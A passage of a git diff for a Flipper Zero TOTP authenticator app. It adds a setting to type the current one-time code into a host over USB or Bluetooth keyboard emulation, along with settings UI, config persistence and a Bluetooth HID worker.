totp_cli_command_add_docopt_arguments(); totp_cli_command_delete_docopt_arguments(); totp_cli_command_timezone_docopt_arguments(); totp_cli_command_notification_docopt_arguments(); + totp_cli_command_automation_docopt_arguments(); cli_nl(); TOTP_CLI_PRINTF("Options:\r\n"); totp_cli_command_add_docopt_options(); diff --git a/applications/external/totp/cli/commands/notification/notification.c b/applications/external/totp/cli/commands/notification/notification.c index bbbd52703..016b83d0d 100644 --- a/applications/external/totp/cli/commands/notification/notification.c +++ b/applications/external/totp/cli/commands/notification/notification.c @@ -4,7 +4,7 @@ #include "../../../ui/scene_director.h" #include "../../cli_helpers.h" -#define TOTP_CLI_COMMAND_NOTIFICATION_ARG_METHOD "method" +#define TOTP_CLI_COMMAND_NOTIFICATION_ARG_METHOD "notification" #define TOTP_CLI_COMMAND_NOTIFICATION_METHOD_NONE "none" #define TOTP_CLI_COMMAND_NOTIFICATION_METHOD_SOUND "sound" #define TOTP_CLI_COMMAND_NOTIFICATION_METHOD_VIBRO "vibro" @@ -23,7 +23,7 @@ void totp_cli_command_notification_docopt_usage() { void totp_cli_command_notification_docopt_arguments() { TOTP_CLI_PRINTF( " " TOTP_CLI_COMMAND_NOTIFICATION_ARG_METHOD - " Notification method to be set. Must be one of [" TOTP_CLI_COMMAND_NOTIFICATION_METHOD_NONE + " Notification method to be set. Must be one of [" TOTP_CLI_COMMAND_NOTIFICATION_METHOD_NONE ", " TOTP_CLI_COMMAND_NOTIFICATION_METHOD_SOUND ", " TOTP_CLI_COMMAND_NOTIFICATION_METHOD_VIBRO "]\r\n"); } diff --git a/applications/external/totp/cli/commands/timezone/timezone.c b/applications/external/totp/cli/commands/timezone/timezone.c index 9eb0cb5f6..265d80e53 100644 --- a/applications/external/totp/cli/commands/timezone/timezone.c +++ b/applications/external/totp/cli/commands/timezone/timezone.c @@ -20,7 +20,7 @@ void totp_cli_command_timezone_docopt_usage() { void totp_cli_command_timezone_docopt_arguments() { TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_TIMEZONE_ARG_TIMEZONE - " Timezone offset in hours to be set\r\n"); + " Timezone offset in hours to be set\r\n"); } void totp_cli_command_timezone_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { diff --git a/applications/external/totp/features_config.h b/applications/external/totp/features_config.h new file mode 100644 index 000000000..d3b30aee0 --- /dev/null +++ b/applications/external/totp/features_config.h @@ -0,0 +1,2 @@ +#define TOTP_BADBT_TYPE_ENABLED +#define TOTP_BADBT_TYPE_ICON_ENABLED \ No newline at end of file diff --git a/applications/external/totp/images/hid_ble_10x7.png b/applications/external/totp/images/hid_ble_10x7.png new file mode 100644 index 0000000000000000000000000000000000000000..3cd1ff95c839feb20b715a60d402412836234dcd GIT binary patch literal 158 zcmeAS@N?(olHy`uVBq!ia0vp^AT~P-Gmt#obT9x&F%}28J29*~C-V}>VM%xNb!1@J z*w6hZkrl{i3-AeX{r~?zkQsXDavhN3EbxddW?FVdQ&MBb@0LsoQ&Hw-a literal 0 HcmV?d00001 diff --git a/applications/external/totp/services/config/config.c b/applications/external/totp/services/config/config.c index 034ed925e..66c07ebfa 100644 --- a/applications/external/totp/services/config/config.c +++ b/applications/external/totp/services/config/config.c @@ -4,6 +4,7 @@ #include "../list/list.h" #include "../../types/common.h" #include "../../types/token_info.h" +#include "../../features_config.h" #include "migrations/config_migration_v1_to_v2.h" #include "migrations/config_migration_v2_to_v3.h" @@ -136,6 +137,14 @@ static TotpConfigFileOpenResult totp_open_config_file(Storage* storage, FlipperF flipper_format_write_uint32( fff_data_file, TOTP_CONFIG_KEY_NOTIFICATION_METHOD, &tmp_uint32, 1); + tmp_uint32 = AutomationMethodBadUsb; + flipper_format_write_comment_cstr(fff_data_file, " "); + flipper_format_write_comment_cstr( + fff_data_file, + "Automation method (0 - None, 1 - BadUSB, 2 - BadBT, 3 - BadUSB and BadBT)"); + flipper_format_write_uint32( + fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1); + FuriString* temp_str = furi_string_alloc(); flipper_format_write_comment_cstr(fff_data_file, " "); @@ -329,6 +338,33 @@ TotpConfigFileUpdateResult return update_result; } +TotpConfigFileUpdateResult + totp_config_file_update_automation_method(AutomationMethod new_automation_method) { + Storage* cfg_storage = totp_open_storage(); + FlipperFormat* file; + TotpConfigFileUpdateResult update_result; + + if(totp_open_config_file(cfg_storage, &file) == TotpConfigFileOpenSuccess) { + do { + uint32_t tmp_uint32 = new_automation_method; + if(!flipper_format_insert_or_update_uint32( + file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1)) { + update_result = TotpConfigFileUpdateError; + break; + } + + update_result = TotpConfigFileUpdateSuccess; + } while(false); + + totp_close_config_file(file); + } else { + update_result = TotpConfigFileUpdateError; + } + + totp_close_storage(); + return update_result; +} + TotpConfigFileUpdateResult totp_config_file_update_user_settings(const PluginState* plugin_state) { Storage* cfg_storage = totp_open_storage(); FlipperFormat* file; @@ -347,6 +383,13 @@ TotpConfigFileUpdateResult totp_config_file_update_user_settings(const PluginSta break; } + tmp_uint32 = plugin_state->automation_method; + if(!flipper_format_insert_or_update_uint32( + file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1)) { + update_result = TotpConfigFileUpdateError; + break; + } + update_result = TotpConfigFileUpdateSuccess; } while(false); @@ -409,6 +452,13 @@ TotpConfigFileUpdateResult totp_full_save_config_file(const PluginState* const p break; } + tmp_uint32 = plugin_state->automation_method; + if(!flipper_format_write_uint32( + fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1)) { + result = TotpConfigFileUpdateError; + break; + } + bool tokens_written = true; TOTP_LIST_FOREACH(plugin_state->tokens_list, node, { const TokenInfo* token_info = node->data; @@ -594,6 +644,15 @@ TotpConfigFileOpenResult totp_config_file_load_base(PluginState* const plugin_st } plugin_state->notification_method = tmp_uint32; + + flipper_format_rewind(fff_data_file); + + if(!flipper_format_read_uint32( + fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1)) { + tmp_uint32 = AutomationMethodBadUsb; + } + + plugin_state->automation_method = tmp_uint32; } while(false); furi_string_free(temp_str); diff --git a/applications/external/totp/services/config/config.h b/applications/external/totp/services/config/config.h index c630810a6..3d325368d 100644 --- a/applications/external/totp/services/config/config.h +++ b/applications/external/totp/services/config/config.h @@ -103,6 +103,14 @@ TotpConfigFileUpdateResult totp_config_file_update_timezone_offset(float new_tim TotpConfigFileUpdateResult totp_config_file_update_notification_method(NotificationMethod new_notification_method); +/** + * @brief Updates automation method in an application config file + * @param new_automation_method new automation method to be set + * @return Config file update result + */ +TotpConfigFileUpdateResult + totp_config_file_update_automation_method(AutomationMethod new_automation_method); + /** * @brief Updates application user settings * @param plugin_state application state diff --git a/applications/external/totp/services/config/constants.h b/applications/external/totp/services/config/constants.h index 487fb159e..526179f41 100644 --- a/applications/external/totp/services/config/constants.h +++ b/applications/external/totp/services/config/constants.h @@ -13,6 +13,7 @@ #define TOTP_CONFIG_KEY_BASE_IV "BaseIV" #define TOTP_CONFIG_KEY_PINSET "PinIsSet" #define TOTP_CONFIG_KEY_NOTIFICATION_METHOD "NotificationMethod" +#define TOTP_CONFIG_KEY_AUTOMATION_METHOD "AutomationMethod" #define TOTP_CONFIG_TOKEN_ALGO_SHA1_NAME "sha1" #define TOTP_CONFIG_TOKEN_ALGO_SHA256_NAME "sha256" diff --git a/applications/external/totp/totp_app.c b/applications/external/totp/totp_app.c index 966c9fb34..74ec52f2c 100644 --- a/applications/external/totp/totp_app.c +++ b/applications/external/totp/totp_app.c @@ -8,6 +8,7 @@ #include #include #include +#include "features_config.h" #include "services/config/config.h" #include "types/plugin_state.h" #include "types/token_info.h" @@ -108,6 +109,14 @@ static bool totp_plugin_state_init(PluginState* const plugin_state) { return false; } +#ifdef TOTP_BADBT_TYPE_ENABLED + if(plugin_state->automation_method & AutomationMethodBadBt) { + plugin_state->bt_type_code_worker_context = totp_bt_type_code_worker_init(); + } else { + plugin_state->bt_type_code_worker_context = NULL; + } +#endif + return true; } @@ -130,6 +139,13 @@ static void totp_plugin_state_free(PluginState* plugin_state) { free(plugin_state->crypto_verify_data); } +#ifdef TOTP_BADBT_TYPE_ENABLED + if(plugin_state->bt_type_code_worker_context != NULL) { + totp_bt_type_code_worker_free(plugin_state->bt_type_code_worker_context); + plugin_state->bt_type_code_worker_context = NULL; + } +#endif + furi_mutex_free(plugin_state->mutex); free(plugin_state); } diff --git a/applications/external/totp/types/automation_method.h b/applications/external/totp/types/automation_method.h new file mode 100644 index 000000000..b51e59e03 --- /dev/null +++ b/applications/external/totp/types/automation_method.h @@ -0,0 +1,13 @@ +#pragma once + +#include "../features_config.h" + +typedef uint8_t AutomationMethod; + +enum AutomationMethods { + AutomationMethodNone = 0b00, + AutomationMethodBadUsb = 0b01, +#ifdef TOTP_BADBT_TYPE_ENABLED + AutomationMethodBadBt = 0b10, +#endif +}; diff --git a/applications/external/totp/types/plugin_state.h b/applications/external/totp/types/plugin_state.h index dee500305..59a218ce3 100644 --- a/applications/external/totp/types/plugin_state.h +++ b/applications/external/totp/types/plugin_state.h @@ -3,9 +3,14 @@ #include #include #include +#include "../features_config.h" #include "../lib/list/list.h" #include "../ui/totp_scenes_enum.h" #include "notification_method.h" +#include "automation_method.h" +#ifdef TOTP_BADBT_TYPE_ENABLED +#include "../workers/bt_type_code/bt_type_code.h" +#endif #define TOTP_IV_SIZE 16 @@ -92,4 +97,16 @@ typedef struct { * @brief Main rendering loop mutex */ FuriMutex* mutex; + + /** + * @brief Automation method + */ + AutomationMethod automation_method; + +#ifdef TOTP_BADBT_TYPE_ENABLED + /** + * @brief Bad-Bluetooth worker context + */ + TotpBtTypeCodeWorkerContext* bt_type_code_worker_context; +#endif } PluginState; diff --git a/applications/external/totp/ui/scene_director.c b/applications/external/totp/ui/scene_director.c index fcc9f37d8..c77e88ab4 100644 --- a/applications/external/totp/ui/scene_director.c +++ b/applications/external/totp/ui/scene_director.c @@ -37,7 +37,9 @@ void totp_scene_director_activate_scene( } void totp_scene_director_deactivate_active_scene(PluginState* const plugin_state) { - switch(plugin_state->current_scene) { + Scene current_scene = plugin_state->current_scene; + plugin_state->current_scene = TotpSceneNone; + switch(current_scene) { case TotpSceneGenerateToken: totp_scene_generate_token_deactivate(plugin_state); break; diff --git a/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c index b8936f395..1671542b8 100644 --- a/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c +++ b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c @@ -10,16 +10,35 @@ #include "../../../services/convert/convert.h" #include "../../../lib/roll_value/roll_value.h" #include "../../../types/nullable.h" +#include "../../../features_config.h" +#ifdef TOTP_BADBT_TYPE_ENABLED +#include "../../../workers/bt_type_code/bt_type_code.h" +#endif char* YES_NO_LIST[] = {"NO", "YES"}; +char* ON_OFF_LIST[] = {"OFF", "ON"}; -typedef enum { HoursInput, MinutesInput, Sound, Vibro, ConfirmButton } Control; +typedef enum { + HoursInput, + MinutesInput, + Sound, + Vibro, + BadUsb, +#ifdef TOTP_BADBT_TYPE_ENABLED + BadBt, +#endif + ConfirmButton +} Control; typedef struct { int8_t tz_offset_hours; uint8_t tz_offset_minutes; bool notification_sound; bool notification_vibro; + bool badusb_enabled; +#ifdef TOTP_BADBT_TYPE_ENABLED + bool badbt_enabled; +#endif uint8_t y_offset; TotpNullable_uint16_t current_token_index; Control selected_control; @@ -47,6 +66,10 @@ void totp_scene_app_settings_activate( scene_state->tz_offset_minutes = 60.0f * off_dec; scene_state->notification_sound = plugin_state->notification_method & NotificationMethodSound; scene_state->notification_vibro = plugin_state->notification_method & NotificationMethodVibro; + scene_state->badusb_enabled = plugin_state->automation_method & AutomationMethodBadUsb; +#ifdef TOTP_BADBT_TYPE_ENABLED + scene_state->badbt_enabled = plugin_state->automation_method & AutomationMethodBadBt; +#endif } static void two_digit_to_str(int8_t num, char* str) { @@ -73,7 +96,7 @@ void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plu char tmp_str[4]; two_digit_to_str(scene_state->tz_offset_hours, &tmp_str[0]); - canvas_draw_str_aligned(canvas, 0, 16 - scene_state->y_offset, AlignLeft, AlignTop, "Hours:"); + canvas_draw_str_aligned(canvas, 0, 17 - scene_state->y_offset, AlignLeft, AlignTop, "Hours:"); ui_control_select_render( canvas, 36, @@ -84,7 +107,7 @@ void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plu two_digit_to_str(scene_state->tz_offset_minutes, &tmp_str[0]); canvas_draw_str_aligned( - canvas, 0, 34 - scene_state->y_offset, AlignLeft, AlignTop, "Minutes:"); + canvas, 0, 35 - scene_state->y_offset, AlignLeft, AlignTop, "Minutes:"); ui_control_select_render( canvas, 36, @@ -104,7 +127,7 @@ void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plu canvas, 0, 64 - scene_state->y_offset, AlignLeft, AlignTop, "Notifications"); canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 0, 80 - scene_state->y_offset, AlignLeft, AlignTop, "Sound:"); + canvas_draw_str_aligned(canvas, 0, 81 - scene_state->y_offset, AlignLeft, AlignTop, "Sound:"); ui_control_select_render( canvas, 36, @@ -113,7 +136,7 @@ void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plu YES_NO_LIST[scene_state->notification_sound], scene_state->selected_control == Sound); - canvas_draw_str_aligned(canvas, 0, 98 - scene_state->y_offset, AlignLeft, AlignTop, "Vibro:"); + canvas_draw_str_aligned(canvas, 0, 99 - scene_state->y_offset, AlignLeft, AlignTop, "Vibro:"); ui_control_select_render( canvas, 36, @@ -122,10 +145,43 @@ void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plu YES_NO_LIST[scene_state->notification_vibro], scene_state->selected_control == Vibro); + canvas_draw_icon( + canvas, SCREEN_WIDTH_CENTER - 5, 123 - scene_state->y_offset, &I_totp_arrow_bottom_10x5); + + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned( + canvas, 0, 128 - scene_state->y_offset, AlignLeft, AlignTop, "Automation"); + canvas_set_font(canvas, FontSecondary); + + canvas_draw_str_aligned( + canvas, 0, 145 - scene_state->y_offset, AlignLeft, AlignTop, "BadUSB:"); + ui_control_select_render( + canvas, + 36, + 138 - scene_state->y_offset, + SCREEN_WIDTH - 36, + ON_OFF_LIST[scene_state->badusb_enabled], + scene_state->selected_control == BadUsb); + +#ifdef TOTP_BADBT_TYPE_ENABLED + canvas_draw_str_aligned(canvas, 0, 163 - scene_state->y_offset, AlignLeft, AlignTop, "BadBT:"); + ui_control_select_render( + canvas, + 36, + 156 - scene_state->y_offset, + SCREEN_WIDTH - 36, + ON_OFF_LIST[scene_state->badbt_enabled], + scene_state->selected_control == BadBt); +#endif + ui_control_button_render( canvas, SCREEN_WIDTH_CENTER - 24, - 115 - scene_state->y_offset, +#ifdef TOTP_BADBT_TYPE_ENABLED + 178 - scene_state->y_offset, +#else + 165 - scene_state->y_offset, +#endif 48, 13, "Confirm", @@ -152,7 +208,9 @@ bool totp_scene_app_settings_handle_event( HoursInput, ConfirmButton, RollOverflowBehaviorStop); - if(scene_state->selected_control > MinutesInput) { + if(scene_state->selected_control > Vibro) { + scene_state->y_offset = 128; + } else if(scene_state->selected_control > MinutesInput) { scene_state->y_offset = 64; } else { scene_state->y_offset = 0; @@ -161,7 +219,9 @@ bool totp_scene_app_settings_handle_event( case InputKeyDown: totp_roll_value_uint8_t( &scene_state->selected_control, 1, HoursInput, ConfirmButton, RollOverflowBehaviorStop); - if(scene_state->selected_control > MinutesInput) { + if(scene_state->selected_control > Vibro) { + scene_state->y_offset = 128; + } else if(scene_state->selected_control > MinutesInput) { scene_state->y_offset = 64; } else { scene_state->y_offset = 0; @@ -178,7 +238,14 @@ bool totp_scene_app_settings_handle_event( scene_state->notification_sound = !scene_state->notification_sound; } else if(scene_state->selected_control == Vibro) { scene_state->notification_vibro = !scene_state->notification_vibro; + } else if(scene_state->selected_control == BadUsb) { + scene_state->badusb_enabled = !scene_state->badusb_enabled; } +#ifdef TOTP_BADBT_TYPE_ENABLED + else if(scene_state->selected_control == BadBt) { + scene_state->badbt_enabled = !scene_state->badbt_enabled; + } +#endif break; case InputKeyLeft: if(scene_state->selected_control == HoursInput) { @@ -191,7 +258,14 @@ bool totp_scene_app_settings_handle_event( scene_state->notification_sound = !scene_state->notification_sound; } else if(scene_state->selected_control == Vibro) { scene_state->notification_vibro = !scene_state->notification_vibro; + } else if(scene_state->selected_control == BadUsb) { + scene_state->badusb_enabled = !scene_state->badusb_enabled; } +#ifdef TOTP_BADBT_TYPE_ENABLED + else if(scene_state->selected_control == BadBt) { + scene_state->badbt_enabled = !scene_state->badbt_enabled; + } +#endif break; case InputKeyOk: if(scene_state->selected_control == ConfirmButton) { @@ -204,12 +278,26 @@ bool totp_scene_app_settings_handle_event( (scene_state->notification_vibro ? NotificationMethodVibro : NotificationMethodNone); + plugin_state->automation_method = + scene_state->badusb_enabled ? AutomationMethodBadUsb : AutomationMethodNone; +#ifdef TOTP_BADBT_TYPE_ENABLED + plugin_state->automation_method |= scene_state->badbt_enabled ? AutomationMethodBadBt : + AutomationMethodNone; +#endif + if(totp_config_file_update_user_settings(plugin_state) != TotpConfigFileUpdateSuccess) { totp_dialogs_config_updating_error(plugin_state); return false; } +#ifdef TOTP_BADBT_TYPE_ENABLED + if(!scene_state->badbt_enabled && plugin_state->bt_type_code_worker_context != NULL) { + totp_bt_type_code_worker_free(plugin_state->bt_type_code_worker_context); + plugin_state->bt_type_code_worker_context = NULL; + } +#endif + if(!scene_state->current_token_index.is_null) { TokenMenuSceneContext generate_scene_context = { .current_token_index = scene_state->current_token_index.value}; diff --git a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c index a882ae78c..9e8b21d09 100644 --- a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c +++ b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c @@ -14,7 +14,11 @@ #include "../../../lib/roll_value/roll_value.h" #include "../../scene_director.h" #include "../token_menu/totp_scene_token_menu.h" -#include "../../../workers/type_code/type_code.h" +#include "../../../features_config.h" +#include "../../../workers/usb_type_code/usb_type_code.h" +#ifdef TOTP_BADBT_TYPE_ENABLED +#include "../../../workers/bt_type_code/bt_type_code.h" +#endif static const uint8_t PROGRESS_BAR_MARGIN = 3; static const uint8_t PROGRESS_BAR_HEIGHT = 4; @@ -25,9 +29,10 @@ typedef struct { bool need_token_update; TokenInfo* current_token; uint32_t last_token_gen_time; - TotpTypeCodeWorkerContext* type_code_worker_context; + TotpUsbTypeCodeWorkerContext* usb_type_code_worker_context; NotificationMessage const** notification_sequence_new_token; NotificationMessage const** notification_sequence_badusb; + FuriMutex* last_code_update_sync; } SceneState; static const NotificationSequence* @@ -72,7 +77,7 @@ static const NotificationSequence* } static const NotificationSequence* - get_notification_sequence_badusb(const PluginState* plugin_state, SceneState* scene_state) { + get_notification_sequence_automation(const PluginState* plugin_state, SceneState* scene_state) { if(scene_state->notification_sequence_badusb == NULL) { uint8_t i = 0; uint8_t length = 3; @@ -201,9 +206,28 @@ void totp_scene_generate_token_activate( plugin_state->current_scene_state = scene_state; FURI_LOG_D(LOGGING_TAG, "Timezone set to: %f", (double)plugin_state->timezone_offset); update_totp_params(plugin_state); - scene_state->type_code_worker_context = totp_type_code_worker_start(); - scene_state->type_code_worker_context->string = &scene_state->last_code[0]; - scene_state->type_code_worker_context->string_length = TOTP_TOKEN_DIGITS_MAX_COUNT + 1; + + scene_state->last_code_update_sync = furi_mutex_alloc(FuriMutexTypeNormal); + if(plugin_state->automation_method & AutomationMethodBadUsb) { + scene_state->usb_type_code_worker_context = totp_usb_type_code_worker_start( + &scene_state->last_code[0], + TOTP_TOKEN_DIGITS_MAX_COUNT + 1, + scene_state->last_code_update_sync); + } + +#ifdef TOTP_BADBT_TYPE_ENABLED + + if(plugin_state->automation_method & AutomationMethodBadBt) { + if(plugin_state->bt_type_code_worker_context == NULL) { + plugin_state->bt_type_code_worker_context = totp_bt_type_code_worker_init(); + } + totp_bt_type_code_worker_start( + plugin_state->bt_type_code_worker_context, + &scene_state->last_code[0], + TOTP_TOKEN_DIGITS_MAX_COUNT + 1, + scene_state->last_code_update_sync); + } +#endif } void totp_scene_generate_token_render(Canvas* const canvas, PluginState* plugin_state) { @@ -242,8 +266,7 @@ void totp_scene_generate_token_render(Canvas* const canvas, PluginState* plugin_ const TokenInfo* tokenInfo = scene_state->current_token; if(tokenInfo->token != NULL && tokenInfo->token_length > 0) { - furi_mutex_acquire( - scene_state->type_code_worker_context->string_sync, FuriWaitForever); + furi_mutex_acquire(scene_state->last_code_update_sync, FuriWaitForever); size_t key_length; uint8_t* key = totp_crypto_decrypt( tokenInfo->token, tokenInfo->token_length, &plugin_state->iv[0], &key_length); @@ -262,12 +285,11 @@ void totp_scene_generate_token_render(Canvas* const canvas, PluginState* plugin_ memset_s(key, key_length, 0, key_length); free(key); } else { - furi_mutex_acquire( - scene_state->type_code_worker_context->string_sync, FuriWaitForever); + furi_mutex_acquire(scene_state->last_code_update_sync, FuriWaitForever); int_token_to_str(0, scene_state->last_code, tokenInfo->digits); } - furi_mutex_release(scene_state->type_code_worker_context->string_sync); + furi_mutex_release(scene_state->last_code_update_sync); if(is_new_token_time) { notification_message( @@ -327,6 +349,15 @@ void totp_scene_generate_token_render(Canvas* const canvas, PluginState* plugin_ canvas_draw_icon( canvas, SCREEN_WIDTH - 9, SCREEN_HEIGHT_CENTER - 24, &I_totp_arrow_right_8x9); } + +#if defined(TOTP_BADBT_TYPE_ENABLED) && defined(TOTP_BADBT_TYPE_ICON_ENABLED) + if(plugin_state->automation_method & AutomationMethodBadBt && + plugin_state->bt_type_code_worker_context != NULL && + plugin_state->bt_type_code_worker_context->is_advertising) { + canvas_draw_icon( + canvas, SCREEN_WIDTH_CENTER - 5, SCREEN_HEIGHT_CENTER + 13, &I_hid_ble_10x7); + } +#endif } bool totp_scene_generate_token_handle_event( @@ -341,14 +372,27 @@ bool totp_scene_generate_token_handle_event( } SceneState* scene_state; - if(event->input.type == InputTypeLong && event->input.key == InputKeyDown) { - scene_state = (SceneState*)plugin_state->current_scene_state; - totp_type_code_worker_notify( - scene_state->type_code_worker_context, TotpTypeCodeWorkerEventType); - notification_message( - plugin_state->notification_app, - get_notification_sequence_badusb(plugin_state, scene_state)); - return true; + if(event->input.type == InputTypeLong) { + if(event->input.key == InputKeyDown && plugin_state->automation_method & AutomationMethodBadUsb) { + scene_state = (SceneState*)plugin_state->current_scene_state; + totp_usb_type_code_worker_notify( + scene_state->usb_type_code_worker_context, TotpUsbTypeCodeWorkerEventType); + notification_message( + plugin_state->notification_app, + get_notification_sequence_automation(plugin_state, scene_state)); + return true; + } +#ifdef TOTP_BADBT_TYPE_ENABLED + else if(event->input.key == InputKeyUp && plugin_state->automation_method & AutomationMethodBadBt) { + scene_state = (SceneState*)plugin_state->current_scene_state; + totp_bt_type_code_worker_notify( + plugin_state->bt_type_code_worker_context, TotpBtTypeCodeWorkerEventType); + notification_message( + plugin_state->notification_app, + get_notification_sequence_automation(plugin_state, scene_state)); + return true; + } +#endif } if(event->input.type != InputTypePress && event->input.type != InputTypeRepeat) { @@ -400,7 +444,14 @@ void totp_scene_generate_token_deactivate(PluginState* plugin_state) { if(plugin_state->current_scene_state == NULL) return; SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - totp_type_code_worker_stop(scene_state->type_code_worker_context); + if(plugin_state->automation_method & AutomationMethodBadUsb) { + totp_usb_type_code_worker_stop(scene_state->usb_type_code_worker_context); + } +#ifdef TOTP_BADBT_TYPE_ENABLED + if(plugin_state->automation_method & AutomationMethodBadBt) { + totp_bt_type_code_worker_stop(plugin_state->bt_type_code_worker_context); + } +#endif if(scene_state->notification_sequence_new_token != NULL) { free(scene_state->notification_sequence_new_token); @@ -410,6 +461,8 @@ void totp_scene_generate_token_deactivate(PluginState* plugin_state) { free(scene_state->notification_sequence_badusb); } + furi_mutex_free(scene_state->last_code_update_sync); + free(scene_state); plugin_state->current_scene_state = NULL; } diff --git a/applications/external/totp/workers/bt_type_code/bt_type_code.c b/applications/external/totp/workers/bt_type_code/bt_type_code.c new file mode 100644 index 000000000..8b9cf6548 --- /dev/null +++ b/applications/external/totp/workers/bt_type_code/bt_type_code.c @@ -0,0 +1,141 @@ +#include "bt_type_code.h" +#include +#include +#include "../../types/common.h" +#include "../../services/convert/convert.h" +#include "../constants.h" + +#define HID_BT_KEYS_STORAGE_PATH EXT_PATH("authenticator/.bt_hid.keys") + +static inline bool totp_type_code_worker_stop_requested() { + return furi_thread_flags_get() & TotpBtTypeCodeWorkerEventStop; +} + +static void totp_type_code_worker_type_code(TotpBtTypeCodeWorkerContext* context) { + uint8_t i = 0; + do { + furi_delay_ms(500); + i++; + } while(!furi_hal_bt_is_active() && i < 100 && !totp_type_code_worker_stop_requested()); + + if(furi_hal_bt_is_active() && furi_mutex_acquire(context->string_sync, 500) == FuriStatusOk) { + furi_delay_ms(500); + i = 0; + while(i < context->string_length && context->string[i] != 0) { + uint8_t digit = CONVERT_CHAR_TO_DIGIT(context->string[i]); + if(digit > 9) break; + uint8_t hid_kb_key = hid_number_keys[digit]; + furi_hal_bt_hid_kb_press(hid_kb_key); + furi_delay_ms(30); + furi_hal_bt_hid_kb_release(hid_kb_key); + i++; + } + + furi_mutex_release(context->string_sync); + } +} + +static int32_t totp_type_code_worker_callback(void* context) { + furi_assert(context); + FuriMutex* context_mutex = furi_mutex_alloc(FuriMutexTypeNormal); + if(context_mutex == NULL) { + return 251; + } + + TotpBtTypeCodeWorkerContext* bt_context = context; + + furi_hal_bt_start_advertising(); + bt_context->is_advertising = true; + + while(true) { + uint32_t flags = furi_thread_flags_wait( + TotpBtTypeCodeWorkerEventStop | TotpBtTypeCodeWorkerEventType, + FuriFlagWaitAny, + FuriWaitForever); + furi_check((flags & FuriFlagError) == 0); //-V562 + if(flags & TotpBtTypeCodeWorkerEventStop) break; + + if(furi_mutex_acquire(context_mutex, FuriWaitForever) == FuriStatusOk) { + if(flags & TotpBtTypeCodeWorkerEventType) { + totp_type_code_worker_type_code(bt_context); + } + + furi_mutex_release(context_mutex); + } + } + + furi_hal_bt_stop_advertising(); + + bt_context->is_advertising = false; + + furi_mutex_free(context_mutex); + + return 0; +} + +void totp_bt_type_code_worker_start( + TotpBtTypeCodeWorkerContext* context, + char* code_buf, + uint8_t code_buf_length, + FuriMutex* code_buf_update_sync) { + furi_assert(context != NULL); + context->string = code_buf; + context->string_length = code_buf_length; + context->string_sync = code_buf_update_sync; + context->thread = furi_thread_alloc(); + furi_thread_set_name(context->thread, "TOTPBtHidWorker"); + furi_thread_set_stack_size(context->thread, 1024); + furi_thread_set_context(context->thread, context); + furi_thread_set_callback(context->thread, totp_type_code_worker_callback); + furi_thread_start(context->thread); +} + +void totp_bt_type_code_worker_stop(TotpBtTypeCodeWorkerContext* context) { + furi_assert(context != NULL); + furi_thread_flags_set(furi_thread_get_id(context->thread), TotpBtTypeCodeWorkerEventStop); + furi_thread_join(context->thread); + furi_thread_free(context->thread); + context->thread = NULL; +} + +void totp_bt_type_code_worker_notify( + TotpBtTypeCodeWorkerContext* context, + TotpBtTypeCodeWorkerEvent event) { + furi_assert(context != NULL); + furi_thread_flags_set(furi_thread_get_id(context->thread), event); +} + +TotpBtTypeCodeWorkerContext* totp_bt_type_code_worker_init() { + TotpBtTypeCodeWorkerContext* context = malloc(sizeof(TotpBtTypeCodeWorkerContext)); + furi_check(context != NULL); + + context->bt = furi_record_open(RECORD_BT); + context->is_advertising = false; + bt_disconnect(context->bt); + furi_delay_ms(200); + bt_keys_storage_set_storage_path(context->bt, HID_BT_KEYS_STORAGE_PATH); + if(!bt_set_profile(context->bt, BtProfileHidKeyboard)) { + FURI_LOG_E(LOGGING_TAG, "Failed to switch BT to keyboard HID profile"); + } + + return context; +} + +void totp_bt_type_code_worker_free(TotpBtTypeCodeWorkerContext* context) { + furi_assert(context != NULL); + + if(context->thread != NULL) { + totp_bt_type_code_worker_stop(context); + } + + bt_disconnect(context->bt); + bt_keys_storage_set_default_path(context->bt); + + if(!bt_set_profile(context->bt, BtProfileSerial)) { + FURI_LOG_E(LOGGING_TAG, "Failed to switch BT to Serial profile"); + } + furi_record_close(RECORD_BT); + context->bt = NULL; + + free(context); +} \ No newline at end of file diff --git a/applications/external/totp/workers/bt_type_code/bt_type_code.h b/applications/external/totp/workers/bt_type_code/bt_type_code.h new file mode 100644 index 000000000..475b66db4 --- /dev/null +++ b/applications/external/totp/workers/bt_type_code/bt_type_code.h @@ -0,0 +1,35 @@ +#pragma once + +#include +#include +#include +#include + +typedef uint8_t TotpBtTypeCodeWorkerEvent; + +typedef struct { + char* string; + uint8_t string_length; + FuriThread* thread; + FuriMutex* string_sync; + Bt* bt; + bool is_advertising; +} TotpBtTypeCodeWorkerContext; + +enum TotpBtTypeCodeWorkerEvents { + TotpBtTypeCodeWorkerEventReserved = (1 << 0), + TotpBtTypeCodeWorkerEventStop = (1 << 1), + TotpBtTypeCodeWorkerEventType = (1 << 2) +}; + +TotpBtTypeCodeWorkerContext* totp_bt_type_code_worker_init(); +void totp_bt_type_code_worker_free(TotpBtTypeCodeWorkerContext* context); +void totp_bt_type_code_worker_start( + TotpBtTypeCodeWorkerContext* context, + char* code_buf, + uint8_t code_buf_length, + FuriMutex* code_buf_update_sync); +void 